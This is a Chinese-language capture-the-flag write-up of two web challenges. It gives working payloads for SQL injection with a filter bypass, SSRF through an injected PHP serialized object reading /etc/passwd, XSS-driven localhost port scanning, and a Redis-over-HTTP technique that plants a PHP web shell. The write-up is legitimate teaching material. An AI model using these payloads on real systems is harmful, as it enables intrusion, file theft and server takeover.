一bin神带两web狗,哭哭


web2 fakebook

扫目录发现robots.txt, 根据提示找到user.php.bak。 发现存在ssrf漏洞, 但是有限制只能使用http协议 继续测试, 发现view.php?no=存在sql注入, 有waf但是过滤不严格构造以下payload完成注入 /view.php?no=-1 union/*wqer*/select 1,(select database()),3,4 数据库结构如下

1
2
3
database: fakebook
table: users
columns: no,username,passwd,data

继续注入发现data字段储存了很标准的php序列化内容O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:13:"www.baidu.com";} 再通过此前注入时看到的unserialize错误, 判断view.php有反序列化功能, 构造如下payload成功触发ssrf

1
2
3
/view.php?no=-1 union/*qqqq*/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:18:"file:///etc/passwd";}'
-- 读取flag的payload
/view.php?no=-1 union/*ss*/select 1,'qwer','3','O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

将网页上的base64解码得到flag

web1 spider

0 solved

hint: 动态爬虫,Redis Getshell。8000端口存在apache2

访问robots.txt,发现/get_sourcecode,访问提示必须127.0.0.1,伪造ip无果,借助xss

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.getElementById('a').innerHTML = xmlhttp.responseText;
    }
}
xmlhttp.open("GET","/get_sourcecode",true);
xmlhttp.send("");
</script>

获得源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

比赛时就到这里为止了,hint放出来的时候去请求8000和6379端口也没回显,下面就是官方wp时间

端口探测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<a id="result"></a>

<script>

var data = document.getElementById('result').innerHTML;

var TagName = document.getElementsByTagName("body")[0];

ports=[80,81,88,8000,8080,8088];

for(var i in ports){

    var script =   document.createElement("script");

    poc = "data += '"   + ports[i] + " OPEN; '; document.getElementById('result').innerHTML =   data;"

      script.setAttribute("src","http://127.0.0.1:" +   ports[i]);

      script.setAttribute("onload", poc);

    TagName.appendChild(script);

}

</script>

添加onload事件,如果端口存活就添加到a标签的innerHtml中,探测出80和8000端口存活

再根据hint给的apache2,猜测是个phpserver,于是利用redis写shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
level=low_273eac1c

<script>

           var xmlHttp;

           if(window.XMLHttpRequest){

                xmlHttp = new XMLHttpRequest();

           }else{

          xmlHttp = newActiveXObject("Microsoft.XMLHTTP");

           }

           var formData = new FormData();

   formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"configsetdbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");

           xmlHttp.open("POST","http://127.0.0.1:6379",true);

           xmlHttp.send(formData);

</script>

因为涉及到跨域,所以加个Access-Control-Allow-Origin:*

至于为什么redis能接受html的post请求就不多说了,参考以下链接

https://wps2015.org/drops/drops/Trying%20to%20hack%20Redis%20via%20HTTP%20requests.html

https://juejin.im/entry/58941a10128fe1006c9fdd59

最后访问shell.php获得flag.php内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.getElementById('a').innerHTML = xmlhttp.responseText;
    }
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?0=flag.php",true);
xmlhttp.send("");
</script>